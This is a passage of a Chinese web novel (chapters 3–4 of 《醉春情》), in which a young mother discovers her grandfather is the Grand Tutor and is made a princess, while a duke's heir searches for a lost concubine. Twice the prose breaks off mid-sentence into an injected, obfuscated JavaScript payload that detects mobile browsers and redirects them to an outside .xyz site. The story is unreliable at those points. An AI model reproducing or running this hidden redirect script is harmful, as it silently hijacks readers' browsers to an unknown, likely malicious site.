《醉春情》 3. 我,就是你外祖父啊 两年后,京城西郊最大的一个集市中,苏合欢正在自己的杂货铺中给客人称着糙米。 这间杂货铺其实是她明面上开着唬人的。她最大的收益还是来自城中的风月楼。 没错,就是她曾经被赎出来的那个风月楼。 两年时光匆匆而过,期间城内也逐渐开了多家妓馆。其中有一家名唤邀月楼的不但名字和风月楼重了一个字,更是在楼内面积、姑娘质量上远超风月楼的规格。 如此一来,没过多久,风月楼就被打压地难以为继。恰巧那时苏合欢偷偷回城想寻个生计。就和那吴妈妈做了笔交易,竟真把它又给盘活了。 从那以后,她就和吴妈妈签订了长期契约,她每月固定上门给姑娘们授课,她则按授课时长和次数给她结算银钱。 时间一晃就这么过了两年。 两年前她还是个未嫁的姑娘,如今却也成了孩子的娘了。 送走了客人,她就立马去后面的房间里看孩子去了。 珠珠是她回了京城后没多久发现的。她也不知为何自己明明喝了那避子汤,却依旧有了身孕。可最后或许是不想自己一个人孤单,她还是选择留下了这个孩子。 看着她在自己用碎布拼成的垫子上蹒跚学步,她就再一次为当年自己的心软而感到庆幸。 她从记事起就在风月楼,也不知道自己的父母是否还在世。如今能意外拥有这么一个亲人,她也感到无比幸福。 “欢老板?欢老板?你在不在啊?” 听到外面的声音,她立马抱着珠珠去了外间。 待看清来人,她却露出了抹浅笑:“秦婶子,你咋来了?可是有什么想买的?” 那秦婶子却摆了摆手:“不买什么,就是今儿个去鱼摊上买了刚捞上来的鲜鱼,这不刚炖了汤给你分一些嘛。珠珠还小,得多补充营养。这汤我给你放桌上了哈,我家里还有事要忙,就先走了,你不用送我。”说完,放下汤就快步出了店门。 看着她那似被老虎追着的背影,苏合欢想起了第一次和秦婶子见面时的场景。 那天,细雨绵绵,她在城里找活计很不顺利,忙了大半天肚子也饿得直叫,想着孩子不能受饿,她就随便寻了个面摊,点了碗素面就吃了起来。 或许是饿狠了,她很快就吃完了一碗面,正准备结账离开的时候却见到摊子前躺着个女人。 女人蓬头垢面,奄奄一息,看着再不救救她,就快要断气了似的。 想到大家都是女人,她忍不住心生同情,又点了份面端到那女人鼻下试了试,没想到她还真又恢复了点意识,不一会儿就端着那面碗狼吞虎咽起来。 后来,她才知道原来她叫秦晚玉,家是离这三十多里的一个小镇上的。夫君亡故后就被夫家给赶了出来。她又没有子女,就只能回京城投靠娘家人,谁知道进了城才发现娘家人早就因为父亲官职调动离开了京城。 最后,因为一路的饥寒交迫,才会倒在那面摊前。 如今,她已经靠着自己在这儿开了间小小的绣品铺子。生意虽没有多好,但也好过她从前风餐露宿的日子。 也因着这救命之恩,后来她有孕期间直至生产,秦婶子都帮衬不少,也让她轻松许多。 把珠珠放在矮几上,她就给她喂起了鱼汤。小丫头年纪不大,嘴倒是挺挑,总算秦婶子手艺过硬,才能让她比往常多吃了几口。 直把她喂得肚儿圆圆,打了几个嗝后,她才把剩下的鱼汤给解决了。 可等她站起来准备把那汤碗装在篮子里给秦婶子送回去的时候,却发现自家店门口正站着一位头发花白的老者。 他身穿一身月白色长衫,外罩玄色长袍,看着倒像个教书先生。 这么想着,她就这么问出了口:“这位老先生,不知你来此所为何事?可是有什么东西要买?” 乔远山之所以来此,是听手下一个暗卫报告:在京郊发现了一个与他夫人年轻时长得特别相像的姑娘在此开了间杂货铺。 为了一探究竟,他这才过来了。可就这么直接问这店老板,估计她也不会说,也略显唐突。他犹豫片刻,还是踏进了店内:“嗯,我,我是想买点糖糕。” “行,那您跟我来吧。”她抱着孩子走在前面领路,拐到店铺一个货架前,指着一个框子说:“这里面便是本店仅有的两种糖糕,您看看,有没有您想要的。要是没有,那就要请您去集市另一头的张记糖糕铺买了。” 他本就不是为了来买东西,自然连忙回道:“没关系,两种够了。”说完,就自己拿了一旁的油纸去包那两种糖糕。 挣扎再三,他终于又开了口:“老夫观姑娘年纪也不大,如何就有了孩子?不知你的夫君何在啊?怎么没有陪着你顾店呢?” 这些问题的答案苏合欢早就有准备,立马对答如流:“我嫁的男人他身体不好,我生下孩子没多久他就去了,夫家嫌我生了个女孩,就把我赶了出去,我没有娘家,就只能自己一个人出来开店了。” 这些话她在心里复盘了无数遍,说起来都不打磕绊。 可乔远山听了心里很不是滋味儿,没想到外孙女流落在外多年,竟然还有这等遭遇,心下顿时揪疼不已。 为了早日和外孙女相认,他打算最后再确认一下这姑娘的身份。 暗卫当日回禀时,只道这姑娘让外人唤她欢老板,就是不知她到底叫什么。 “老板,不知你贵姓啊?老夫姓乔,是当朝太傅。今日前来缘是为了寻一故人。见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321609|183131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘与其长得甚为相像,才有此一问,还望老板不要见怪。”说完,还冲苏合欢拱手一拜,态度颇为诚恳。 见他这么有诚意,苏合欢倒也大方回了他:“我姓苏,你可以叫我苏老板,也可以叫我欢老板。欢是欢愉的欢。” 姓苏,名字里还有个欢,想到女儿那个相好就姓苏,她本人又酷爱捣鼓药材、研究医术,他忽而眼神一亮,“姑娘,你莫不是叫苏合欢?合欢树的合欢?” 苏合欢显然也没想到他居然能猜到自己的名字,也是一脸的惊讶。 看她这表情,乔远山就什么都明白了,当即手里的糖糕也顾不上了,拍着手暗暗叫好:如此就对了,当年那户姓苏的人家虽说他没见过,可女儿曾提过几嘴,再加上这合欢树的合欢,绝对错不了。 难以按捺自己的激动心情,他凑近了一步,停在苏合欢面前,看着她那双与亡妻和女儿极为肖似的眼睛,他颤抖着声音说道:“苏姑娘,你就是我的外孙女,我,就是你的外祖父啊。” “当年你父母无端被卷进一场祸事,后来丢了性命,我用尽一切办法才寻回了他们的尸体,却始终没能找到你的踪迹,却没想到你竟然被卖进了风月楼。 如今你我得以相见,定是你外祖母和母亲在天之灵保佑。合欢,我有个不情之请,不知你可愿意和外祖父回京?” 她私心不想再回京城,可看着对面老人殷殷期盼的眼神,还有怀里睡得打起了小呼噜的女儿,她觉得,也许跟着外祖父回去才是当下最好的选择。 毕竟,当年父母为何丢了性命,她又为何被送进了风月楼现在都还没有答案。倘若她现在不跟外祖父回去,日后被藏在暗处的仇家找到,岂不是要害珠珠和她一起身陷险境? “好,我跟你一起回去,外祖父。”思量再三,她终是唤了声外祖父。相信乔太傅看在这声称呼上,日后一定会待她们更好些。 果不其然,这声“外祖父”让乔太傅喜笑颜开,眼睛都要陷在皱纹里:“好好好,我立马就安排人来接你们。” 说着,他去屋外放了一支信号弹。 约摸不到半柱香的功夫,店外就来了一群人。还赶来了两架颇为豪华的马车。 待她坐上了那豪华马车,才有了些真实感:自己竟然找到了亲人,还是当朝太傅,看起来还很有权势的样子。 待人群走远,周围人才小声议论起来。而被人群挤在外边的秦婶子也是这会儿才大概知道了事情的来龙去脉。 转身慌张地去了苏合欢的铺子里,却看见她在铺子柜台上留下了一封信。 待看完信中内容,她竟落下一行泪来。 信中说,她要跟着亲人回京了,这铺子就送给她了。而那契书就压在信纸下面。 4.册封她为慧宁郡主 金銮殿上 大佑朝皇帝端坐于龙椅之上,俯视着正恭敬拱手立于下方的老太傅。半晌,才沉沉开口:“太傅,一年之期已到,朕总算可以给你外孙女册封了吧?” 一年之前,他亲口听辅佐了两代帝王的老太傅说他沦落在外多年的外孙女终于被寻回来了。感念他多年对大佑朝和他们陈氏皇族的付出,他当即就想册封这个可怜的丫头为郡主。 可宣老太傅进宫商议的时候,却被他断然拒绝了。按理说皇恩不可辞,可他到底是谨记太上皇的嘱托,不敢对太傅有丝毫的不敬,只耐心询问其原由。 太傅当时倒也没多言,只淡淡吐出一句:“无甚原由,只时机未到尔。” 这也就是他乔远山敢在他这九五之尊面前拿乔,若是换了旁人,怕是不死,也得拖下去好生打一顿板子。 可他最后不但没有赐罚,还命人把人恭敬送了回去。 “老臣谨遵皇帝陛下旨意。” 看着他现在恭敬的样子,忍不住轻嗤一声:“装得还挺像样。”却是声若蚊蝇,没敢让下方的人听见。 摆了摆手,方道:“罢了,那就按先前的旨意册封她为慧宁郡主吧。册封的旨意随后刘公公拟好了就会去太傅府宣旨。太傅且退下吧。” “老臣谢陛下隆恩,这就告退了。” “去吧去吧。” 待人走远,皇帝才向身边的刘公公不忿地念叨:“你看看这乔远山,怕是满朝文武也就出他这一朵奇葩,怕是连我这个陛下都未曾被放在眼里。” 刘德顺安静听着,却不急着回话。只待皇帝看向他时,才恭敬作答:“乔太傅忠心耿耿,莫不是得了陛下的爱重,也定不敢如此。” 皇帝闻言却龙眉倒竖:“刘德顺,你这话说得好没道理,合着他不恭敬孤,还是孤的错了?” “陛下误会杂家的意思了,杂家是说啊,乔太傅之所以如此都是对陛下的信任。若不是一心一意为着咱们大佑皇朝,他定不敢如此直言不讳。朝堂上那些惯会溜须拍马,左右逢源的也不是没有,哪一个如乔太傅这般得陛下爱重的?” “嗯,你这么说也没错。罢了,他为了大佑朝也做出了颇多的牺牲,朕就不跟他计较了。摆驾去凤仪宫,朕要去看看皇后。” “嗻!杂家恭送皇上!” 随即,就见他转身,冲着殿外唱声:“摆驾凤仪宫。” 镇国公府听松苑 魏廷昭一脸的颓丧,几日没有好生收拾,下巴上都冒出了一层鸦青色胡茬。 看着跪在下首的两个侍卫,端了茶几上才新沏的茶吃了口,才缓缓开口:“还是没有寻到人吗?”看着神色淡淡,可若是注意到他因为过度用力而浮起根根青筋的手,就会发现面上的平静不过都是装出来的。 魏光看看魏明,才缓缓摇了摇头:“世子,属下已经遍寻京城附近几个城镇,依旧没有寻到如意姑娘的踪迹。” 一时之间,屋子里静得似乎都能听到在场三人的心跳声。 跪在一旁的魏明怕受到责罚,连忙表态:“世子,属下之后一定会更加仔细地搜索,还望主子能多给我们些时间。” “要几天?”男人端坐上首,竟连一个眼神都没给他们,只凉凉问了这么一句,问得底下二人心下一颤。 几天?这都找了三年都没找到,怎么可能再找几天就能找到啊。魏明用眼神向身边的魏光求助。 魏光也很无奈。当初如意姑娘承宠的时候也没见多么合世子的心意啊?怎么自从她死了以后,反倒让世子执着起来了? 再说了,当年勘察的仵作都说了,如意姑娘已经死了。这可让他们去哪里找啊? 可心下无奈,面上总还要给主子一个交代。 最后,还是他咬了咬牙,艰难答道:“五天,五天内若是我们兄弟二人再找不到如意姑娘的行踪,就任由世子责罚,绝无二话。” “行。都退下吧。留下一人守好院门,别让人随便进我的院子。” “是,世子,属下这就告退。” 三年了,他一直没有找到她的踪迹。 当年他费了三个月的时间才带着得胜的消息回了京。可等待他的只有皇帝颁下的赏赐圣旨、母亲的泪眼婆娑和她已葬生火海的消息。 起初,他似乎也接受了她已香消玉殒的消息,可后来他日日梦见对着自己巧笑倩兮的如意、和自己行那鱼水之欢时娇俏柔弱的如意、满含期待看着自己的如意,千姿百态的,可每一个她都那么专注地看着他。 日复一日,他终是受不了这种折磨。寻着旧日军中的关系,他找到相识的一个军士,拜托了他已从衙门退下来的仵作父亲,帮着验一验当年如意葬生火海后留下的残缺不全的尸骨。 挖出那些为数不多的尸骨时,他还不敢相信自己堂堂一国公府世子竟然也会做下此等为礼法不容之事,可想知道真相的心到底是战胜了心中的那点愧疚和心虚。 若是勘察完尸骨无误,他定请定国寺的老方丈圆清大师好好给如意做一场法事,以告慰她在天之灵。可若是这尸骨根本不是如意的,纵使追到天涯海角,他也定要找到她,问她一问,为何这么决绝地选择离开? 仵作最后经过勘验,发现尸骨是两个人的,而其中女性受害者的年龄竟然已经超过了二十岁。 如意来到府上的时候不过刚满十六,又怎么会是这仵作口中的二十多岁呢? 他当时再三跟仵作确认可有验错的可能,老仵作拍着胸脯保证绝无可能。他给了他一笔银子,就回了府。 如此一来,他就只能去找当时说这些尸骨就是如意的那个人了。 方氏被带来的时候,就大概猜到事情暴露了。当即也不敢有任何的隐瞒,一五一十把事情都说了个明白。当然,她设计苏合欢不成还想烧死她的事儿自然是瞒下来了。 可魏廷昭听完她的招供却良久都未置一词。 方氏见他沉默良久,心中也打起了鼓。正想再插科打诨一番。却被魏廷昭身边站着的魏光给开口打断了未出口的话。 “方氏,你可想好了,今日你若是有一句假话,我们世子定不会就这么轻轻揭过了。 依据刑部拟定的现行律法,在咱们大佑朝要是恶意设计毁女子清白者可是要被鞭笞五十下的,至于纵火伤人乃是重罪,更是要累及家人。可若是你今日坦白,世子只会惩处你一人,不会祸及你的家人,你可都想清楚了?” 他的声音不重,可话里的一字一句都似乎化为了一记记重锤狠狠砸在方氏的心上,让她再不敢隐瞒。 当天,方氏是被下人拖着送回庄子上的。听说,送回去没几天就伤重不治了,尸体都是被草席一裹送去了乱葬岗,任由野狗秃鹫啃咬,难得一个全尸。 至于她的家人后来也因为各种意外或死或残。 从此,京城里再无哪家让方氏及其族亲进府当差。 自打知道如意没有死,魏廷昭就千方百计地派人去寻找她的踪迹。哪怕他这样做引起了他母亲的不满,为京城中各家高门不耻,他也在所不惜。 甚至,在他得胜归来后,都不再允许她母亲及她院里的人随意进入自己的院子。尤其是派人来寻他要给他介绍亲事的时候,就更是不会得他的好脸色,往往是一句话就给打发了。 久而久之,府里其他院子里的丫鬟小厮都不敢轻易靠近他这听松苑。 对此,魏廷昭却是甘之如饴。 自上次和北羌国一战,基本可保大佑边境十年再无战事。他空闲的时间就变得更多了些。 近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330251|183131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日,听闻父亲上朝回来后透露陛下有意收回兵权,他私心不想父亲就真的这么把兵权交出去。毕竟,有兵权在手,他们才能与老皇帝有一谈的资格。 可若是真的把兵权交出去,他镇国公府怕是从此都不会再太平了。 思及此,他变得更烦躁了起来。 母亲近日又提及给他相看婚事的事,其中还有几位姑娘出自皇帝颇为看重的几位文臣府里,母亲的心思真是呼之欲出。 可兵权,他不想给,文臣之女,他也不想娶。 他,只想要他的如意啊。 如意,你究竟在哪儿? 魏廷昭不知道他闭门不出的几日里,京城里发生了一件大事——乔太傅家流落在外多年的外孙女被寻回来了。陛下为表对太傅的爱重,可是册封这位苏合欢姑娘为慧宁郡主了呢。 听说那游街的花车可是比之公主的规格都不差。当天许多城里的百姓都去主街上看热闹了。一时之间,龙腾大街上可谓是锣鼓喧天、人山人海,好不热闹。 魏廷昭知道这事时已经是两日后了。 说起来,还得多亏了他的好友——御史大夫家的嫡长子秦谏之。 二人此时正坐在城里有名的茶楼来福楼的靠街雅间里品茗。 “你找我有何事?” 秦谏之却完全不怕他的冷脸,一脸的嬉笑表情:“哎呀,不要这么严肃嘛。今天邀你出来是有好事要告诉你。” 魏廷昭却不以为意,温润的眉眼淡淡扫了他一眼,才语气淡淡地:“何事?” 知道他兴致不高,秦谏之倒也没再继续卖关子,只忽然凑近了身子,神秘兮兮地低声道:“近来城里可是发生了件大事,据说啊那辅佐过两代帝王的乔太傅家的流落在外的外孙女近日突然就给寻回来了。” 魏廷昭起身欲走,却被秦谏之扯住了衣袖:“你别急啊,我不是听说从你和老国公回来后陛下就一直想收回兵权嘛。 你看,这老太傅颇得圣上看重,要是你能娶了他外孙女,到时候陛下再想对你家下手,乔太傅就是看在自己外孙女的情分上也定会出面帮你国公府斡旋一番,你说是也不是?” “你又不是不知,我已心有所属。”魏廷昭语气无奈,话里却透着股坚决。 “我知,我怎会不知,可眼下到底是你国公府面对的危机更棘手啊?你说呢? 况且,你一直想找到的那如意姑娘,眼下是死是活谁也不敢保证,万一——” 他话没说完,手臂就被魏廷昭腰间的剑柄捅了一下。当即疼得他龇牙咧嘴,再没了往日世家公子的端方之姿。 “我错了,我错了。我收回方才的失言。 不过,我说的话你回去后也好好考虑一下。毕竟,我可听说了那苏姑娘可不光一回来就被陛下封为了慧宁郡主,还容色过人。虽然带回了一个父不详的孩子,但想来也不会有什么妨碍。 你若是愿意,娶回来供着就好了。 倘若日后真的寻回那如意姑娘,许她一贵妾之位,也不算辱没了她。 毕竟,以她那般不入流的身世,能入得了你国公府,也是前世修来的福分——” 不想再听他这些对如意的贬低之语,不待秦谏之再喋喋不休地说下去,魏廷之就快步离开了。 在他心里,只有如意最美。纵使那苏姑娘再美,也难入他魏行简之眼。 这一生,他唯要如意。 看着他决然离去的背影,秦谏之却很是无奈地叹了口气:像他们这般的世家子,有多少不是如他一般,娶一个正头夫人撑场面,再纳几个可心的侍候左右,红袖添香。 罢了,还得是他魏行简不知道享受啊。 如此腹诽完后,到一楼付了茶钱,才一甩袖摇着扇子施施然离开了。